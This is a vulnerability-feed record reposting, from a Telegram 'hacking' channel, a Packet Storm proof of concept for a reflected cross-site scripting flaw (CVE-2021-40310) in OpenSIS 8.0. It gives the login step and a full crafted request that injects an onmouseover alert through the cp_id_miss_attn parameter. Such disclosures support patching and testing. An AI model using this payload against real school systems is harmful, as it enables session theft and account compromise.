{"uuid": "36c72329-95cf-43e4-b5bf-081eb6589875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40310", "type": "seen", "source": "https://t.me/hacking_Attack/25482", "content": "Exploit Collector\nOpenSIS 8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nOpenSIS version 8.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 5d4cc780209ccce0149ea54d8519fa91\n\nDownload\n# Exploit Title: OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)\n# Date: 9/24/2021\n# Exploit Author: Eric Salario\n# Vendor Homepage: http://www.os4ed.com/\n# Software Link: https://opensis.com/download\n# Version: 8.0\n# Tested on: Windows, Linux\n# CVE : CVE-2021-40310\n\nOpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter.\n\n1. Login as \"teacher\".\n\n2. Navigate to (take attendance): http://demo.opensis.com/ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&amp;modfunc=attn&amp;attn=miss&amp;from_dasboard=1&amp;date=Aug/9/2021&amp;cp_id_miss_attn=rotf7%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20z3as5&amp;cpv_id_miss_attn=23&amp;ajax=true&amp;include=attendance/TakeAttendance.php&amp;month_date=Aug&amp;day_date=9&amp;year_date=2021&amp;table=0&amp;page=&amp;LO_sort=&amp;LO_direction=&amp;LO_search=&amp;LO_save=1&amp;_openSIS_PDF=true\n\nDecoded request:\n\nGET /ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&amp;modfunc=attn&amp;attn=miss&amp;from_dasboard=1&amp;date=Aug/9/2021&amp;cp_id_miss_attn=rotf7 onmouseover=alert(document.domain) style=position:absolute;width:100%;height:100%;top:0;left:0; z3as5&amp;cpv_id_miss_attn=23&amp;ajax=true&amp;include=attendance/TakeAttendance.php&amp;month_date=Aug&amp;day_date=9&amp;year_date=2021&amp;table=0&amp;page=&amp;LO_sort=&amp;LO_direction=&amp;LO_search=&amp;LO_save=1&amp;_openSIS_PDF=true HTTP/1.1\n\n3. XSS triggers\n\nPoC Video: https://www.youtube.com/watch?v=aPKPUDmmYpc\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.856628Z"}